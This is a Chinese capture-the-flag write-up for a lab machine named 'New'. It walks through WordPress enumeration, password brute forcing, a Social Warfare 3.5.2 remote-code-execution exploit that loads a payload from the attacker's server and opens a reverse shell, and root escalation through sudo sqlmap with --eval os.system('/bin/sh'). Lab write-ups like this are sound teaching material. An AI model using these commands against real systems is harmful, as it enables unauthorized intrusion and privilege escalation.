靶机 New 复盘
打点
目录扫描
gobuster dir -u $URL -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -k -t 30 -x php,html,txt,xml -b "404,500,403" -t 20
/admin (Status: 302) [Size: 0] [--> http://new.dsz/wp-admin/]
/login (Status: 302) [Size: 0] [--> http://new.dsz/wp-login.php]
/login.php (Status: 302) [Size: 0] [--> http://new.dsz/wp-login.php]
/wp-admin (Status: 301) [Size: 317] [--> http://192.168.10.37/wp-admin/]
/index.php (Status: 301) [Size: 0] [--> http://192.168.10.37/]
/wp-includes (Status: 301) [Size: 320] [--> http://192.168.10.37/wp-includes/]
/wp-content (Status: 301) [Size: 319] [--> http://192.168.10.37/wp-content/]
/xmlrpc.php (Status: 405) [Size: 42]
/feed (Status: 301) [Size: 0] [--> http://192.168.10.37/feed/]
/rss (Status: 301) [Size: 0] [--> http://192.168.10.37/feed/]
/wp-login.php (Status: 200) [Size: 8621]
/wp-register.php (Status: 301) [Size: 0] [--> http://new.dsz/wp-login.php?action=register]
/. (Status: 301) [Size: 0] [--> http://192.168.10.37/]
/readme.html (Status: 200) [Size: 7425]
...
看框架，是一个典型的 wordpress 网站
端口扫描
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
| 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Hi Maze
|_http-generator: WordPress 6.8.1
MAC Address: 08:00:27:71:F8:8D (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Wordpress扫描器扫一下
wpscan --url http://new.dsz/ -e u,p
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.62 (Debian)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] robots.txt found: http://new.dsz/robots.txt
| Interesting Entries:
| - /wp-admin/
| - /wp-admin/admin-ajax.php
| Found By: Robots Txt (Aggressive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://new.dsz/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://new.dsz/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://new.dsz/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 6.8.1 identified (Latest, released on 2025-04-30).
| Found By: Rss Generator (Passive Detection)
| - http://new.dsz/feed/, https://wordpress.org/?v=6.8.1
| - http://new.dsz/comments/feed/, https://wordpress.org/?v=6.8.1
[+] WordPress theme in use: twentytwentyfive
| Location: http://new.dsz/wp-content/themes/twentytwentyfive/
| Latest Version: 1.2 (up to date)
| Last Updated: 2025-04-15T00:00:00.000Z
| Readme: http://new.dsz/wp-content/themes/twentytwentyfive/readme.txt
| Style URL: http://new.dsz/wp-content/themes/twentytwentyfive/style.css?ver=1.2
| Style Name: Twenty Twenty-Five
| Style URI: https://wordpress.org/themes/twentytwentyfive/
| Description: Twenty Twenty-Five emphasizes simplicity and adaptability. It offers flexible design options, suppor...
| Author: the WordPress team
| Author URI: https://wordpress.org
|
| Found By: Css Style In Homepage (Passive Detection)
| Confirmed By: Css Style In 404 Page (Passive Detection)
|
| Version: 1.2 (80% confidence)
| Found By: Style (Passive Detection)
| - http://new.dsz/wp-content/themes/twentytwentyfive/style.css?ver=1.2, Match: 'Version: 1.2'
[+] Enumerating Most Popular Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] Plugin(s) Identified:
[+] *
| Location: http://new.dsz/wp-content/plugins/*/
|
| Found By: Urls In Homepage (Passive Detection)
| Confirmed By: Urls In 404 Page (Passive Detection)
|
| The version could not be determined.
[+] social-warfare
| Location: http://new.dsz/wp-content/plugins/social-warfare/
| Last Updated: 2025-03-18T09:37:00.000Z
| [!] The version is out of date, the latest version is 4.5.6
|
| Found By: Urls In Homepage (Passive Detection)
| Confirmed By:
| Urls In 404 Page (Passive Detection)
| Comment (Passive Detection)
|
| Version: 3.5.2 (100% confidence)
| Found By: Comment (Passive Detection)
| - http://new.dsz/, Match: 'Social Warfare v3.5.2'
| Confirmed By:
| Query Parameter (Passive Detection)
| - http://new.dsz/wp-content/plugins/social-warfare/assets/css/style.min.css?ver=3.5.2
| - http://new.dsz/wp-content/plugins/social-warfare/assets/js/script.min.js?ver=3.5.2
| Readme - Stable Tag (Aggressive Detection)
| - http://new.dsz/wp-content/plugins/social-warfare/readme.txt
| Readme - ChangeLog Section (Aggressive Detection)
| - http://new.dsz/wp-content/plugins/social-warfare/readme.txt
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:05 <=============================================================> (10 / 10) 100.00% Time: 00:00:05
[i] User(s) Identified:
[+] maze-sec
| Found By: Rss Generator (Passive Detection)
| Confirmed By:
| Wp Json Api (Aggressive Detection)
| - http://new.dsz/wp-json/wp/v2/users/?per_page=100&page=1
| Rss Generator (Aggressive Detection)
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
[+] sublarge
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
[+] hyh
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
[+] todd
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
尝试爆破密码
wpscan --url http://new.dsz/ -U hyh,todd,sublarge,maze-sec -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000.txt
成功得到密码
[+] Performing password attack on Xmlrpc against 4 user/s
[SUCCESS] - hyh / password
登录后台成功
同时尝试一下使用这个账户进行 ssh 连接是否有效
无效
在后台找一下漏洞点，尝试命令执行
后台找了一圈，都没发现什么东西。
继续看插件
![[Pasted image 20250702233030.png]]
social-warfare 3.5.2
利用 Social Warfare WordPress Plugin 3.5.2 - Remote Code Execution (RCE)
换好 url 和 ip ，攻击，成功进入
┌──(kali㉿LAPTOP-NPKASGPU)-[~/machines/new]
└─$ python3 exp.py
[+] Payload written to payload.txt
[+] HTTP server running at port 8000
[+] Listening on port 4444 for reverse shell...
listening on [any] 4444 ...
[+] Sending exploit: http://new.dsz/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://192.168.43.73:8000/payload.txt
192.168.43.55 - - [02/Jul/2025 23:44:14] "GET /payload.txt?swp_debug=get_user_options HTTP/1.1" 200 -
connect to [192.168.43.73] from (UNKNOWN) [192.168.43.55] 34218
bash: cannot set terminal process group (420): Inappropriate ioctl for device
bash: no job control in this shell
www-data@New:/var/www/new.dsz/wp-admin$ ls
提权
export TERM=xterm-256color 可以修复终端 clear 功能
进入家目录，发现两个用户 ahiz 和 andeli
www-data@New:/home$ cd ahiz
cd ahiz
www-data@New:/home/ahiz$ l
l
bash: l: command not found
www-data@New:/home/ahiz$ ls -la
ls -la
total 28
drwxr-xr-x 2 ahiz ahiz 4096 Jul 1 07:45 .
drwxr-xr-x 4 root root 4096 Jul 1 06:24 ..
lrwxrwxrwx 1 root root 9 Jul 1 07:45 .bash_history -> /dev/null
-rw-r--r-- 1 ahiz ahiz 220 Jul 1 06:23 .bash_logout
-rw-r--r-- 1 ahiz ahiz 3526 Jul 1 06:23 .bashrc
-rw-r--r-- 1 ahiz ahiz 807 Jul 1 06:23 .profile
-rw------- 1 ahiz ahiz 33 Jul 1 06:25 cred.txt
-rw-r--r-- 1 root root 48 Jul 1 06:24 user.txt
拿到 user flag.
cred.txt 查看不了，andeli 家目录也进不去
-rw------- 1 ahiz ahiz 33 Jul 1 06:25 cred.txt
尝试爆破用户密码进行用户切换
首先根据用户名生成特定的社工密码
这里用雨丛的 https://www.ddosi.org/pass8/
生成好密码字典后，下载到靶机上
vim pass.txt
python -m http.server 9000
wget 192.168.43.73:9000/pass.txt
然后使用 sUforce 进行密码爆破
wget 192.168.43.73:9000/sUforce
chmod +x sUforce
./sUforce -u ahiz -w pass.txt
现在的话需要一个用户作为跳板，www-data 权限太低并且shell不稳定。
出结果
code: d4t4s3c version: v1.0.0
───────────────────────────────────
Username | ahiz
Wordlist | pass.txt
Status | 1/14656/0%/ahiz
Password | ahiz
───────────────────────────────────
==> ahiz:ahiz
andeli 爆破无结果
直接 ssh 上 ahiz 拿到稳定 shell 和用户权限
ahiz@New:~$ cat cred.txt
9eeb22195b4eb7a35bcad0f45761eb7b
得到了一串 md5
不知道有什么用
上传 linpeas 扫一下
![[Pasted image 20250703100144.png]]
找到意外文件
╔══════════╣ Unexpected in /opt (usually empty)
total 28
drwxr-xr-x 2 root root 4096 Jul 1 06:34 .
drwxr-xr-x 18 root root 4096 Mar 18 20:37 ..
-rwx--x--x 1 root root 16840 Jul 1 06:33 andeli_cred
files in path
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#scriptbinaries-in-path
/usr/bin/gettext.sh
执行 andeli_cred 会输出一大堆 md5 值
ahiz@New:/opt$ ./andeli_cred | head -n 10
固定MD5插入位置: 290
c123e766e1a153eea8fb061fa3914920
b449bafab9b1d9f72e22441e7a0b42cf
7082a7c5176e15534758b67317e59a40
ac343fa4702867baf02a69d70cca60a1
cd50df4407c6e70d728dc55c1168219e
eeebe3feab4824696e723cf5d5df66e5
4c02f009b42e887f6e19a0e86b7c1516
228129bdddb6535b164c734deb901b63
de4f7fc5c8b1b0cc618d4ca28429f8cc
ahiz@New:/opt$ ./andeli_cred | head -n 10
固定MD5插入位置: 3579
14a83f136af08e5fcd48967960cdba7c
e141064603682b8e9c623db9d7681d4f
e90ff45f7c797f80ce2fcd894e25b649
f48e8ed0a591412004fc275657c0e0ad
52cd09dae7c38e382344aab0170f7adc
d9ad2781e44727f4a495e45fb5f20cfd
59a7028f6c6845de9637a875e67e26b7
f5e087fe3577a464a9b4229080ea7916
e066755aac25089a14e3773f71aeab59
也就是，每次执行都会生成固定 md5
只需要对比每次生成值找到其固定 md5 即可
sort file1.txt file2.txt | uniq -d
（先合并两次结果，然后找到重复内容）
uniq -d只显示重复的行（即两个文件共有的行）
ahiz@New:/tmp$ /opt/andeli_cred > a.txt
ahiz@New:/tmp$ /opt/andeli_cred > b.txt
ahiz@New:/tmp$ ls
a.txt systemd-private-bdbadbd82bc445adbcba4b43dfcb803f-apache2.service-suJFfi
b.txt systemd-private-bdbadbd82bc445adbcba4b43dfcb803f-systemd-logind.service-nkZAuh
c.txt systemd-private-bdbadbd82bc445adbcba4b43dfcb803f-systemd-timesyncd.service-gLl6uh
ahiz@New:/tmp$ grep -Fxf a.txt b.txt
9eeb22195b4eb7a35bcad0f45761eb7b
拿到和 andeli 有官的 md5 值 9eeb22195b4eb7a35bcad0f45761eb7b
尝试解密 md5 失败
直接用这个作为 andeli 密码
登录成功
查看特权命令
andeli@New:/tmp$ sudo -l
Matching Defaults entries for andeli on New:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User andeli may run the following commands on New:
(ALL) NOPASSWD: /usr/bin/sqlmap
利用 GTFObins 内容直接提权成功
sudo sqlmap -u 127.0.0.1 --eval="import os; os.system('/bin/sh')"
# ls
root.txt
# cat root.txt
flag{root-12e5770e-5667-11f0-8acc-4fa40e22b275}
复盘
WPScan 扫描框架发现 social-warfare 版本过时，找到其 rce 脚本打点成功。
弱密码爆破 ahiz 用户成功。
linpeas 扫描敏感信息，最终获得其特殊 md5 值，作为密码登录成功。
andeli 特权命令 sqlmap，直接利用提权成功。